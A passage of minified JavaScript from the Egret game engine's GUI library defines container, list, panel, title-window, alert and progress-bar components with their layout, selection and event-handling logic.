Error("swapChildrenAt()"+e.errorStr+"swapElementsAt()\u4ee3\u66ff")};e.defaultRendererFactory=new d.ClassFactory(d.ItemRenderer);e.errorStr="\u5728\u6b64\u7ec4\u4ef6\u4e2d\u4e0d\u53ef\u7528\uff0c\u82e5\u6b64\u7ec4\u4ef6\u4e3a\u5bb9\u5668\u7c7b\uff0c\u8bf7\u4f7f\u7528";return e}(d.GroupBase);d.DataGroup=b;b.prototype.__class__="egret.gui.DataGroup"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this.contentGroupProperties={};this.hostComponentKey="egret.gui.SkinnableContainer"}__extends(e,c);e.prototype._getCurrentContentGroup=function(){return null==this.contentGroup?(null==this._placeHolderGroup&&(this._placeHolderGroup=new d.Group,this._placeHolderGroup.visible=!1,this._addToDisplayList(this._placeHolderGroup)),this._placeHolderGroup.addEventListener(d.ElementExistenceEvent.ELEMENT_ADD,this._contentGroup_elementAddedHandler,this),this._placeHolderGroup.addEventListener(d.ElementExistenceEvent.ELEMENT_REMOVE,this._contentGroup_elementRemovedHandler,this),this._placeHolderGroup):this.contentGroup};Object.defineProperty(e.prototype,"elementsContent",{set:function(f){this._getCurrentContentGroup().elementsContent=f},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"numElements",{get:function(){return this._getCurrentContentGroup().numElements},enumerable:!0,configurable:!0});e.prototype.getElementAt=function(f){return this._getCurrentContentGroup().getElementAt(f)};e.prototype.addElement=function(f){return this._getCurrentContentGroup().addElement(f)};e.prototype.addElementAt=function(g,f){return this._getCurrentContentGroup().addElementAt(g,f)};e.prototype.removeElement=function(f){return this._getCurrentContentGroup().removeElement(f)};e.prototype.removeElementAt=function(f){return this._getCurrentContentGroup().removeElementAt(f)};e.prototype.removeAllElements=function(){this._getCurrentContentGroup().removeAllElements()};e.prototype.getElementIndex=function(f){return this._getCurrentContentGroup().getElementIndex(f)};e.prototype.setElementIndex=function(g,f){this._getCurrentContentGroup().setElementIndex(g,f)};e.prototype.swapElements=function(g,f){this._getCurrentContentGroup().swapElements(g,f)};e.prototype.swapElementsAt=function(g,f){this._getCurrentContentGroup().swapElementsAt(g,f)};Object.defineProperty(e.prototype,"layout",{get:function(){return null!=this.contentGroup?this.contentGroup.layout:this.contentGroupProperties.layout},set:function(f){null!=this.contentGroup?this.contentGroup.layout=f:this.contentGroupProperties.layout=f},enumerable:!0,configurable:!0});e.prototype.partAdded=function(l,g){c.prototype.partAdded.call(this,l,g);if(g==this.contentGroup){void 0!==this.contentGroupProperties.layout&&(this.contentGroup.layout=this.contentGroupProperties.layout,this.contentGroupProperties={});if(this._placeHolderGroup){this._placeHolderGroup.removeEventListener(d.ElementExistenceEvent.ELEMENT_ADD,this._contentGroup_elementAddedHandler,this);this._placeHolderGroup.removeEventListener(d.ElementExistenceEvent.ELEMENT_REMOVE,this._contentGroup_elementRemovedHandler,this);for(var k=this._placeHolderGroup._getElementsContent().concat(),j=this._placeHolderGroup.numElements;0<j;j--){var i=this._placeHolderGroup.removeElementAt(0);i.ownerChanged(null)}this._removeFromDisplayList(this._placeHolderGroup);this.contentGroup.elementsContent=k;for(j=k.length-1;0<=j;j--){i=k[j],i.ownerChanged(this)}this._placeHolderGroup=null}this.contentGroup.addEventListener(d.ElementExistenceEvent.ELEMENT_ADD,this._contentGroup_elementAddedHandler,this);this.contentGroup.addEventListener(d.ElementExistenceEvent.ELEMENT_REMOVE,this._contentGroup_elementRemovedHandler,this)}};e.prototype.partRemoved=function(g,f){c.prototype.partRemoved.call(this,g,f);if(f==this.contentGroup&&(this.contentGroup.removeEventListener(d.ElementExistenceEvent.ELEMENT_ADD,this._contentGroup_elementAddedHandler,this),this.contentGroup.removeEventListener(d.ElementExistenceEvent.ELEMENT_REMOVE,this._contentGroup_elementRemovedHandler,this),this.contentGroupProperties.layout=this.contentGroup.layout,this.contentGroup.layout=null,0<this.contentGroup.numElements)){for(this._placeHolderGroup=new d.Group;0<this.contentGroup.numElements;){this._placeHolderGroup.addElement(this.contentGroup.getElementAt(0))}this._placeHolderGroup.addEventListener(d.ElementExistenceEvent.ELEMENT_ADD,this._contentGroup_elementAddedHandler,this);this._placeHolderGroup.addEventListener(d.ElementExistenceEvent.ELEMENT_REMOVE,this._contentGroup_elementRemovedHandler,this)}};e.prototype._contentGroup_elementAddedHandler=function(f){f.element.ownerChanged(this);this.dispatchEvent(f)};e.prototype._contentGroup_elementRemovedHandler=function(f){f.element.ownerChanged(null);this.dispatchEvent(f)};return e}(d.SkinnableComponent);d.SkinnableContainer=b;b.prototype.__class__="egret.gui.SkinnableContainer"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._dataGroupProperties={};this.hostComponentKey="egret.gui.SkinnableDataContainer"}__extends(e,c);e.prototype.updateRenderer=function(h,g,f){"ownerChanged" in h&&h.ownerChanged(this);h.itemIndex=g;h.label=this.itemToLabel(f);h.data=f;return h};e.prototype.itemToLabel=function(f){return null!==f?f.toString():" "};Object.defineProperty(e.prototype,"dataProvider",{get:function(){return this._getDataProvider()},set:function(f){this._setDataProvider(f)},enumerable:!0,configurable:!0});e.prototype._getDataProvider=function(){return null!=this.dataGroup?this.dataGroup.dataProvider:this._dataGroupProperties.dataProvider};e.prototype._setDataProvider=function(f){null==this.dataGroup?this._dataGroupProperties.dataProvider=f:(this.dataGroup.dataProvider=f,this._dataGroupProperties.dataProvider=!0)};Object.defineProperty(e.prototype,"itemRenderer",{get:function(){return this.dataGroup?this.dataGroup.itemRenderer:this._dataGroupProperties.itemRenderer},set:function(f){null==this.dataGroup?this._dataGroupProperties.itemRenderer=f:(this.dataGroup.itemRenderer=f,this._dataGroupProperties.itemRenderer=!0)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"itemRendererSkinName",{get:function(){return this.dataGroup?this.dataGroup.itemRendererSkinName:this._dataGroupProperties.itemRendererSkinName},set:function(f){null==this.dataGroup?this._dataGroupProperties.itemRendererSkinName=f:(this.dataGroup.itemRendererSkinName=f,this._dataGroupProperties.itemRendererSkinName=!0)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"itemRendererFunction",{get:function(){return this.dataGroup?this.dataGroup.itemRendererFunction:this._dataGroupProperties.itemRendererFunction},set:function(f){null==this.dataGroup?this._dataGroupProperties.itemRendererFunction=f:(this.dataGroup.itemRendererFunction=f,this._dataGroupProperties.itemRendererFunction=!0)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"layout",{get:function(){return this.dataGroup?this.dataGroup.layout:this._dataGroupProperties.layout},set:function(f){this._setLayout(f)},enumerable:!0,configurable:!0});e.prototype._setLayout=function(f){null==this.dataGroup?this._dataGroupProperties.layout=f:(this.dataGroup.layout=f,this._dataGroupProperties.layout=!0)};e.prototype.partAdded=function(h,f){c.prototype.partAdded.call(this,h,f);if(f==this.dataGroup){var g={};void 0!==this._dataGroupProperties.layout&&(this.dataGroup.layout=this._dataGroupProperties.layout,g.layout=!0);void 0!==this._dataGroupProperties.dataProvider&&(this.dataGroup.dataProvider=this._dataGroupProperties.dataProvider,g.dataProvider=!0);void 0!==this._dataGroupProperties.itemRenderer&&(this.dataGroup.itemRenderer=this._dataGroupProperties.itemRenderer,g.itemRenderer=!0);void 0!==this._dataGroupProperties.itemRendererSkinName&&(this.dataGroup.itemRendererSkinName=this._dataGroupProperties.itemRendererSkinName,g.itemRendererSkinName=!0);void 0!==this._dataGroupProperties.itemRendererFunction&&(this.dataGroup.itemRendererFunction=this._dataGroupProperties.itemRendererFunction,g.itemRendererFunction=!0);this.dataGroup._rendererOwner=this;this._dataGroupProperties=g;this.hasEventListener(d.RendererExistenceEvent.RENDERER_ADD)&&this.dataGroup.addEventListener(d.RendererExistenceEvent.RENDERER_ADD,this.dispatchEvent,this);this.hasEventListener(d.RendererExistenceEvent.RENDERER_REMOVE)&&this.dataGroup.addEventListener(d.RendererExistenceEvent.RENDERER_REMOVE,this.dispatchEvent,this)}};e.prototype.partRemoved=function(h,f){c.prototype.partRemoved.call(this,h,f);if(f==this.dataGroup){this.dataGroup.removeEventListener(d.RendererExistenceEvent.RENDERER_ADD,this.dispatchEvent,this);this.dataGroup.removeEventListener(d.RendererExistenceEvent.RENDERER_REMOVE,this.dispatchEvent,this);var g={};this._dataGroupProperties.layout&&(g.layout=this.dataGroup.layout);this._dataGroupProperties.dataProvider&&(g.dataProvider=this.dataGroup.dataProvider);this._dataGroupProperties.itemRenderer&&(g.itemRenderer=this.dataGroup.itemRenderer);this._dataGroupProperties.itemRendererSkinName&&(g.itemRendererSkinName=this.dataGroup.itemRendererSkinName);this._dataGroupProperties.itemRendererFunction&&(g.itemRendererFunction=this.dataGroup.itemRendererFunction);this._dataGroupProperties=g;this.dataGroup._rendererOwner=null;this.dataGroup.dataProvider=null;this.dataGroup.layout=null}};e.prototype.addEventListener=function(l,g,k,j,i){"undefined"===typeof j&&(j=!1);"undefined"===typeof i&&(i=0);c.prototype.addEventListener.call(this,l,g,k,j,i);l==d.RendererExistenceEvent.RENDERER_ADD&&this.dataGroup&&this.dataGroup.addEventListener(d.RendererExistenceEvent.RENDERER_ADD,this.dispatchEvent,this);l==d.RendererExistenceEvent.RENDERER_REMOVE&&this.dataGroup&&this.dataGroup.addEventListener(d.RendererExistenceEvent.RENDERER_REMOVE,this.dispatchEvent,this)};e.prototype.removeEventListener=function(j,g,i,h){"undefined"===typeof h&&(h=!1);c.prototype.removeEventListener.call(this,j,g,i,h);j==d.RendererExistenceEvent.RENDERER_ADD&&this.dataGroup&&(this.hasEventListener(d.RendererExistenceEvent.RENDERER_ADD)||this.dataGroup.removeEventListener(d.RendererExistenceEvent.RENDERER_ADD,this.dispatchEvent,this));j==d.RendererExistenceEvent.RENDERER_REMOVE&&this.dataGroup&&(this.hasEventListener(d.RendererExistenceEvent.RENDERER_REMOVE)||this.dataGroup.removeEventListener(d.RendererExistenceEvent.RENDERER_REMOVE,this.dispatchEvent,this))};return e}(d.SkinnableComponent);d.SkinnableDataContainer=b;b.prototype.__class__="egret.gui.SkinnableDataContainer"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._doingWholesaleChanges=!1;this._labelField="label";this.requireSelectionChanged=this._requireSelection=!1;this._proposedSelectedIndex=e.NO_PROPOSED_SELECTION;this._selectedIndex=e.NO_SELECTION;this.selectedIndexAdjusted=this._useVirtualLayout=this._dispatchChangeAfterSelection=this._allowCustomSelectedItem=!1}__extends(e,c);e.prototype._setDataProvider=function(f){this.dataProvider&&this.dataProvider.removeEventListener(d.CollectionEvent.COLLECTION_CHANGE,this.dataProvider_collectionChangeHandler,this);this._doingWholesaleChanges=this.dataProviderChanged=!0;f&&f.addEventListener(d.CollectionEvent.COLLECTION_CHANGE,this.dataProvider_collectionChangeHandler,this);c.prototype._setDataProvider.call(this,f);this.invalidateProperties()};Object.defineProperty(e.prototype,"layout",{get:function(){return this.dataGroup?this.dataGroup.layout:this._dataGroupProperties.layout},set:function(f){f&&this.useVirtualLayout&&(f.useVirtualLayout=!0);this._setLayout(f)},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"labelField",{get:function(){return this._labelField},set:function(f){this._setLabelField(f)},enumerable:!0,configurable:!0});e.prototype._setLabelField=function(f){f!=this._labelField&&(this._labelField=f,this.labelFieldOrFunctionChanged=!0,this.invalidateProperties())};Object.defineProperty(e.prototype,"labelFunction",{get:function(){return this._labelFunction},set:function(f){this._setLabelFunction(f)},enumerable:!0,configurable:!0});e.prototype._setLabelFunction=function(f){f!=this._labelFunction&&(this._labelFunction=f,this.labelFieldOrFunctionChanged=!0,this.invalidateProperties())};Object.defineProperty(e.prototype,"requireSelection",{get:function(){return this._requireSelection},set:function(f){this._setRequireSelection(f)},enumerable:!0,configurable:!0});e.prototype._setRequireSelection=function(f){f!=this._requireSelection&&(this._requireSelection=f)&&(this.requireSelectionChanged=!0,this.invalidateProperties())};Object.defineProperty(e.prototype,"selectedIndex",{get:function(){return this._getSelectedIndex()},set:function(f){this._setSelectedIndex(f,!1)},enumerable:!0,configurable:!0});e.prototype._getSelectedIndex=function(){return this._proposedSelectedIndex!=e.NO_PROPOSED_SELECTION?this._proposedSelectedIndex:this._selectedIndex};e.prototype._setSelectedIndex=function(g,f){"undefined"===typeof f&&(f=!1);g!=this.selectedIndex&&(f&&(this._dispatchChangeAfterSelection=this._dispatchChangeAfterSelection||f),this._proposedSelectedIndex=g,this.invalidateProperties())};Object.defineProperty(e.prototype,"selectedItem",{get:function(){return void 0!==this._pendingSelectedItem?this._pendingSelectedItem:this._allowCustomSelectedItem&&this.selectedIndex==e.CUSTOM_SELECTED_ITEM?this._selectedItem:this.selectedIndex==e.NO_SELECTION||null==this.dataProvider?void 0:this.dataProvider.length>this.selectedIndex?this.dataProvider.getItemAt(this.selectedIndex):void 0},set:function(f){this._setSelectedItem(f,!1)},enumerable:!0,configurable:!0});e.prototype._setSelectedItem=function(g,f){"undefined"===typeof f&&(f=!1);this.selectedItem!==g&&(f&&(this._dispatchChangeAfterSelection=this._dispatchChangeAfterSelection||f),this._pendingSelectedItem=g,this.invalidateProperties())};Object.defineProperty(e.prototype,"useVirtualLayout",{get:function(){return this._getUseVirtualLayout()},set:function(f){this._setUseVirtualLayout(f)},enumerable:!0,configurable:!0});e.prototype._getUseVirtualLayout=function(){return this.layout?this.layout.useVirtualLayout:this._useVirtualLayout};e.prototype._setUseVirtualLayout=function(f){f!=this.useVirtualLayout&&(this._useVirtualLayout=f,this.layout&&(this.layout.useVirtualLayout=f))};e.prototype.commitProperties=function(){c.prototype.commitProperties.call(this);this.dataProviderChanged&&(this._doingWholesaleChanges=this.dataProviderChanged=!1,0<=this.selectedIndex&&this.dataProvider&&this.selectedIndex<this.dataProvider.length?this.itemSelected(this.selectedIndex,!0):this.requireSelection?this._proposedSelectedIndex=0:this._setSelectedIndex(-1,!1));this.requireSelectionChanged&&(this.requireSelectionChanged=!1,this.requireSelection&&this.selectedIndex==e.NO_SELECTION&&this.dataProvider&&0<this.dataProvider.length&&(this._proposedSelectedIndex=0));void 0!==this._pendingSelectedItem&&(this._proposedSelectedIndex=this.dataProvider?this.dataProvider.getItemIndex(this._pendingSelectedItem):e.NO_SELECTION,this._allowCustomSelectedItem&&-1==this._proposedSelectedIndex&&(this._proposedSelectedIndex=e.CUSTOM_SELECTED_ITEM,this._selectedItem=this._pendingSelectedItem),this._pendingSelectedItem=void 0);var j=!1;this._proposedSelectedIndex!=e.NO_PROPOSED_SELECTION&&(j=this.commitSelection());this.selectedIndexAdjusted&&(this.selectedIndexAdjusted=!1,j||d.UIEvent.dispatchUIEvent(this,d.UIEvent.VALUE_COMMIT));if(this.labelFieldOrFunctionChanged){if(null!=this.dataGroup){if(this.layout&&this.layout.useVirtualLayout){for(var i=this.dataGroup.getElementIndicesInView(),g=i.length,h=0;h<g;h++){j=i[h],this.updateRendererLabelProperty(j)}}else{for(i=this.dataGroup.numElements,j=0;j<i;j++){this.updateRendererLabelProperty(j)}}}this.labelFieldOrFunctionChanged=!1}};e.prototype.updateRendererLabelProperty=function(f){if(f=this.dataGroup.getElementAt(f)){f.label=this.itemToLabel(f.data)}};e.prototype.partAdded=function(g,f){c.prototype.partAdded.call(this,g,f);f==this.dataGroup&&(this._useVirtualLayout&&this.dataGroup.layout&&(this.dataGroup.layout.useVirtualLayout=!0),this.dataGroup.addEventListener(d.RendererExistenceEvent.RENDERER_ADD,this.dataGroup_rendererAddHandler,this),this.dataGroup.addEventListener(d.RendererExistenceEvent.RENDERER_REMOVE,this.dataGroup_rendererRemoveHandler,this))};e.prototype.partRemoved=function(g,f){c.prototype.partRemoved.call(this,g,f);f==this.dataGroup&&(this.dataGroup.removeEventListener(d.RendererExistenceEvent.RENDERER_ADD,this.dataGroup_rendererAddHandler,this),this.dataGroup.removeEventListener(d.RendererExistenceEvent.RENDERER_REMOVE,this.dataGroup_rendererRemoveHandler,this))};e.prototype.updateRenderer=function(g,f,h){this.itemSelected(f,this._isItemIndexSelected(f));return c.prototype.updateRenderer.call(this,g,f,h)};e.prototype.itemToLabel=function(h){if(null!=this._labelFunction){return this._labelFunction(h)}if("string"==typeof h){return h}if(h instanceof a.XML){try{0!=h[this.labelField].length()&&(h=h[this.labelField])}catch(g){}}else{if(h instanceof Object){try{null!=h[this.labelField]&&(h=h[this.labelField])}catch(f){}}}if("string"==typeof h){return h}try{if(null!==h){return h.toString()}}catch(i){}return" "};e.prototype.itemSelected=function(h,g){if(this.dataGroup){var f=this.dataGroup.getElementAt(h);null!=f&&(f.selected=g)}};e.prototype._isItemIndexSelected=function(f){return f==this.selectedIndex};e.prototype.commitSelection=function(h){"undefined"===typeof h&&(h=!0);var f=this.dataProvider?this.dataProvider.length-1:-1,g=this._selectedIndex;if(!this._allowCustomSelectedItem||this._proposedSelectedIndex!=e.CUSTOM_SELECTED_ITEM){if(this._proposedSelectedIndex<e.NO_SELECTION&&(this._proposedSelectedIndex=e.NO_SELECTION),this._proposedSelectedIndex>f&&(this._proposedSelectedIndex=f),this.requireSelection&&this._proposedSelectedIndex==e.NO_SELECTION&&this.dataProvider&&0<this.dataProvider.length){return this._proposedSelectedIndex=e.NO_PROPOSED_SELECTION,this._dispatchChangeAfterSelection=!1}}f=this._proposedSelectedIndex;if(this._dispatchChangeAfterSelection&&!d.IndexChangeEvent.dispatchIndexChangeEvent(this,d.IndexChangeEvent.CHANGING,this._selectedIndex,this._proposedSelectedIndex,!0)){return this.itemSelected(this._proposedSelectedIndex,!1),this._proposedSelectedIndex=e.NO_PROPOSED_SELECTION,this._dispatchChangeAfterSelection=!1}this._selectedIndex=f;this._proposedSelectedIndex=e.NO_PROPOSED_SELECTION;g!=e.NO_SELECTION&&this.itemSelected(g,!1);this._selectedIndex!=e.NO_SELECTION&&this.itemSelected(this._selectedIndex,!0);h&&(this._dispatchChangeAfterSelection&&(d.IndexChangeEvent.dispatchIndexChangeEvent(this,d.IndexChangeEvent.CHANGE,g,this._selectedIndex),this._dispatchChangeAfterSelection=!1),d.UIEvent.dispatchUIEvent(this,d.UIEvent.VALUE_COMMIT));return !0};e.prototype.adjustSelection=function(g,f){this._proposedSelectedIndex!=e.NO_PROPOSED_SELECTION?this._proposedSelectedIndex=g:this._selectedIndex=g;this.selectedIndexAdjusted=!0;this.invalidateProperties()};e.prototype.itemAdded=function(f){this._doingWholesaleChanges||(this.selectedIndex==e.NO_SELECTION?this.requireSelection&&this.adjustSelection(f,!0):f<=this.selectedIndex&&this.adjustSelection(this.selectedIndex+1,!0))};e.prototype.itemRemoved=function(f){this.selectedIndex==e.NO_SELECTION||this._doingWholesaleChanges||(f==this.selectedIndex?this.requireSelection&&this.dataProvider&&0<this.dataProvider.length?0==f?(this._proposedSelectedIndex=0,this.invalidateProperties()):this._setSelectedIndex(0,!1):this.adjustSelection(-1,!1):f<this.selectedIndex&&this.adjustSelection(this.selectedIndex-1,!1))};e.prototype.dataGroup_rendererAddHandler=function(f){f=f.renderer;null!=f&&(f.addEventListener(a.TouchEvent.TOUCH_ROLL_OVER,this.item_mouseEventHandler,this),f.addEventListener(a.TouchEvent.TOUCH_ROLL_OUT,this.item_mouseEventHandler,this))};e.prototype.dataGroup_rendererRemoveHandler=function(f){f=f.renderer;null!=f&&(f.removeEventListener(a.TouchEvent.TOUCH_ROLL_OVER,this.item_mouseEventHandler,this),f.removeEventListener(a.TouchEvent.TOUCH_ROLL_OUT,this.item_mouseEventHandler,this))};e.prototype.item_mouseEventHandler=function(g){var f=g.type,f=e.TYPE_MAP[f];this.hasEventListener(f)&&this._dispatchListEvent(g,f,g.currentTarget)};e.prototype._dispatchListEvent=function(k,h,g){var j=-1,j=g?g.itemIndex:this.dataGroup.getElementIndex(k.currentTarget),i=this.dataProvider.getItemAt(j);d.ListEvent.dispatchListEvent(this,h,k,j,i,g)};e.prototype.dataProvider_collectionChangeHandler=function(h){var f=h.items;if(h.kind==d.CollectionEventKind.ADD){for(var f=f.length,g=0;g<f;g++){this.itemAdded(h.location+g)}}else{if(h.kind==d.CollectionEventKind.REMOVE){for(f=f.length,g=f-1;0<=g;g--){this.itemRemoved(h.location+g)}}else{h.kind==d.CollectionEventKind.MOVE?(this.itemRemoved(h.oldLocation),this.itemAdded(h.location)):h.kind==d.CollectionEventKind.RESET?0==this.dataProvider.length?this._setSelectedIndex(e.NO_SELECTION,!1):(this.dataProviderChanged=!0,this.invalidateProperties()):h.kind==d.CollectionEventKind.REFRESH&&this._setSelectedIndex(e.NO_SELECTION,!1)}}};e.NO_SELECTION=-1;e.NO_PROPOSED_SELECTION=-2;e.CUSTOM_SELECTED_ITEM=-3;e.TYPE_MAP={rollOver:"itemRollOver",rollOut:"itemRollOut"};return e}(d.SkinnableDataContainer);d.ListBase=b;b.prototype.__class__="egret.gui.ListBase"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._title="";this.hostComponentKey="egret.gui.Panel";this.touchEnabled=!1}__extends(e,c);Object.defineProperty(e.prototype,"title",{get:function(){return this._title},set:function(f){this._title=f;this.titleDisplay&&(this.titleDisplay.text=this.title)},enumerable:!0,configurable:!0});e.prototype.partAdded=function(g,f){c.prototype.partAdded.call(this,g,f);f==this.titleDisplay&&(this.titleDisplay.text=this.title)};return e}(d.SkinnableContainer);d.Panel=b;b.prototype.__class__="egret.gui.Panel"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._autoBackToStage=this._showCloseButton=!0;this.hostComponentKey="egret.gui.TitleWindow";this.addEventListener(a.TouchEvent.TOUCH_BEGIN,this.onWindowMouseDown,this,!0,100)}__extends(e,c);e.prototype.onWindowMouseDown=function(f){this.enabled&&this.isPopUp&&f.target!=this.closeButton&&d.PopUpManager.bringToFront(this)};Object.defineProperty(e.prototype,"showCloseButton",{get:function(){return this._showCloseButton},set:function(f){this._showCloseButton!=f&&(this._showCloseButton=f,this.closeButton&&(this.closeButton.visible=this._showCloseButton))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"autoBackToStage",{get:function(){return this._autoBackToStage},set:function(f){this._autoBackToStage=f},enumerable:!0,configurable:!0});e.prototype.partAdded=function(g,f){c.prototype.partAdded.call(this,g,f);f==this.moveArea?this.moveArea.addEventListener(a.TouchEvent.TOUCH_BEGIN,this.moveArea_mouseDownHandler,this):f==this.closeButton&&(this.closeButton.addEventListener(a.TouchEvent.TOUCH_TAP,this.closeButton_clickHandler,this),this.closeButton.visible=this._showCloseButton)};e.prototype.partRemoved=function(g,f){c.prototype.partRemoved.call(this,g,f);f==this.moveArea?this.moveArea.removeEventListener(a.TouchEvent.TOUCH_BEGIN,this.moveArea_mouseDownHandler,this):f==this.closeButton&&this.closeButton.removeEventListener(a.TouchEvent.TOUCH_TAP,this.closeButton_clickHandler,this)};e.prototype.closeButton_clickHandler=function(f){d.CloseEvent.dispatchCloseEvent(this,d.CloseEvent.CLOSE)};e.prototype.moveArea_mouseDownHandler=function(f){this.enabled&&this.isPopUp&&(f=this.globalToLocal(f.stageX,f.stageY,a.Point.identity),this._offsetPointX=f.x,this._offsetPointY=f.y,this._includeInLayout=!1,d.UIGlobals.stage.addEventListener(a.TouchEvent.TOUCH_MOVE,this.moveArea_mouseMoveHandler,this),d.UIGlobals.stage.addEventListener(a.TouchEvent.TOUCH_END,this.moveArea_mouseUpHandler,this),d.UIGlobals.stage.addEventListener(a.Event.LEAVE_STAGE,this.moveArea_mouseUpHandler,this))};e.prototype.moveArea_mouseMoveHandler=function(f){f=this.globalToLocal(f.stageX,f.stageY,a.Point.identity);this.x+=f.x-this._offsetPointX;this.y+=f.y-this._offsetPointY};e.prototype.moveArea_mouseUpHandler=function(f){d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_MOVE,this.moveArea_mouseMoveHandler,this);d.UIGlobals.stage.removeEventListener(a.TouchEvent.TOUCH_END,this.moveArea_mouseUpHandler,this);d.UIGlobals.stage.removeEventListener(a.Event.LEAVE_STAGE,this.moveArea_mouseUpHandler,this);this._autoBackToStage&&this.adjustPosForStage();d.LayoutUtil.adjustRelativeByXY(this);this.includeInLayout=!0};e.prototype.adjustPosForStage=function(){if(this.moveArea&&this.stage){var h=this.moveArea.localToGlobal(0,0),g=h.x,f=h.y;35>h.x+this.moveArea.width&&(g=35-this.moveArea.width);h.x>this.stage.stageWidth-20&&(g=this.stage.stageWidth-20);20>h.y+this.moveArea.height&&(f=20-this.moveArea.height);h.y>this.stage.stageHeight-20&&(f=this.stage.stageHeight-20);this.x+=g-h.x;this.y+=f-h.y}};return e}(d.Panel);d.TitleWindow=b;b.prototype.__class__="egret.gui.TitleWindow"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._contentText=this._secondButtonLabel=this._firstButtonLabel="";this.hostComponentKey="egret.gui.Alert"}__extends(e,c);e.show=function(r,i,q,p,n,o,m){"undefined"===typeof r&&(r="");"undefined"===typeof i&&(i="");"undefined"===typeof q&&(q=null);"undefined"===typeof p&&(p="\u786e\u5b9a");"undefined"===typeof n&&(n="");"undefined"===typeof o&&(o=!0);"undefined"===typeof m&&(m=!0);var j=new e;j.contentText=r;j.title=i;j._firstButtonLabel=p;j._secondButtonLabel=n;j.closeHandler=q;d.PopUpManager.addPopUp(j,o,m);return j};Object.defineProperty(e.prototype,"firstButtonLabel",{get:function(){return this._firstButtonLabel},set:function(f){this._firstButtonLabel!=f&&(this._firstButtonLabel=f,this.firstButton&&(this.firstButton.label=f))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"secondButtonLabel",{get:function(){return this._secondButtonLabel},set:function(f){this._secondButtonLabel!=f&&(this._secondButtonLabel=f,!this.secondButton||null!=f&&""!=f||(this.secondButton.includeInLayout=this.secondButton.visible=""!=this._secondButtonLabel&&null!=this._secondButtonLabel))},enumerable:!0,configurable:!0});Object.defineProperty(e.prototype,"contentText",{get:function(){return this._contentText},set:function(f){this._contentText!=f&&(this._contentText=f,this.contentDisplay&&(this.contentDisplay.text=f))},enumerable:!0,configurable:!0});e.prototype.onClose=function(g){d.PopUpManager.removePopUp(this);if(null!=this.closeHandler){var f=new d.CloseEvent(d.CloseEvent.CLOSE);switch(g.currentTarget){case this.firstButton:f.detail=e.FIRST_BUTTON;break;case this.secondButton:f.detail=e.SECOND_BUTTON}this.closeHandler(f)}};e.prototype.closeButton_clickHandler=function(f){c.prototype.closeButton_clickHandler.call(this,f);d.PopUpManager.removePopUp(this);f=new d.CloseEvent(d.CloseEvent.CLOSE,!1,!1,e.CLOSE_BUTTON);null!=this.closeHandler&&this.closeHandler(f)};e.prototype.partAdded=function(g,f){c.prototype.partAdded.call(this,g,f);f==this.contentDisplay?this.contentDisplay.text=this._contentText:f==this.firstButton?(this.firstButton.label=this._firstButtonLabel,this.firstButton.addEventListener(a.TouchEvent.TOUCH_TAP,this.onClose,this)):f==this.secondButton&&(this.secondButton.label=this._secondButtonLabel,this.secondButton.includeInLayout=this.secondButton.visible=""!=this._secondButtonLabel&&null!=this._secondButtonLabel,this.secondButton.addEventListener(a.TouchEvent.TOUCH_TAP,this.onClose,this))};e.prototype.partRemoved=function(g,f){c.prototype.partRemoved.call(this,g,f);f==this.firstButton?this.firstButton.removeEventListener(a.TouchEvent.TOUCH_TAP,this.onClose,this):f==this.secondButton&&this.secondButton.removeEventListener(a.TouchEvent.TOUCH_TAP,this.onClose,this)};e.FIRST_BUTTON="firstButton";e.SECOND_BUTTON="secondButton";e.CLOSE_BUTTON="closeButton";return e}(d.TitleWindow);d.Alert=b;b.prototype.__class__="egret.gui.Alert"})(a.gui||(a.gui={}))})(egret||(egret={}));__extends=this.__extends||function(g,h){function d(){this.constructor=g}for(var a in h){h.hasOwnProperty(a)&&(g[a]=h[a])}d.prototype=h.prototype;g.prototype=new d};(function(a){(function(d){var b=function(c){function e(){c.call(this);this._slideDuration=500;this._direction=d.ProgressBarDirection.LEFT_TO_RIGHT;this.animationValue=0;this.trackResizedOrMoved=!1;this.hostComponentKey="egret.gui.ProgressBar"}__extends(e,c);Object.defineProperty(e.prototype,"labelFunction",{get:function(){return this._labelFunction},set:function(f){this._labelFunction!=f&&(this._labelFunction=f,this.invalidateDisplayList())},enumerable:!0,configurable:!0});e.prototype.valueToLabel=function(g,f){return null!=this.labelFunction?this._labelFunction(g,f):g+" / "+f};Object.defineProperty(e.prototype,"slideDuration",{get:function(){return 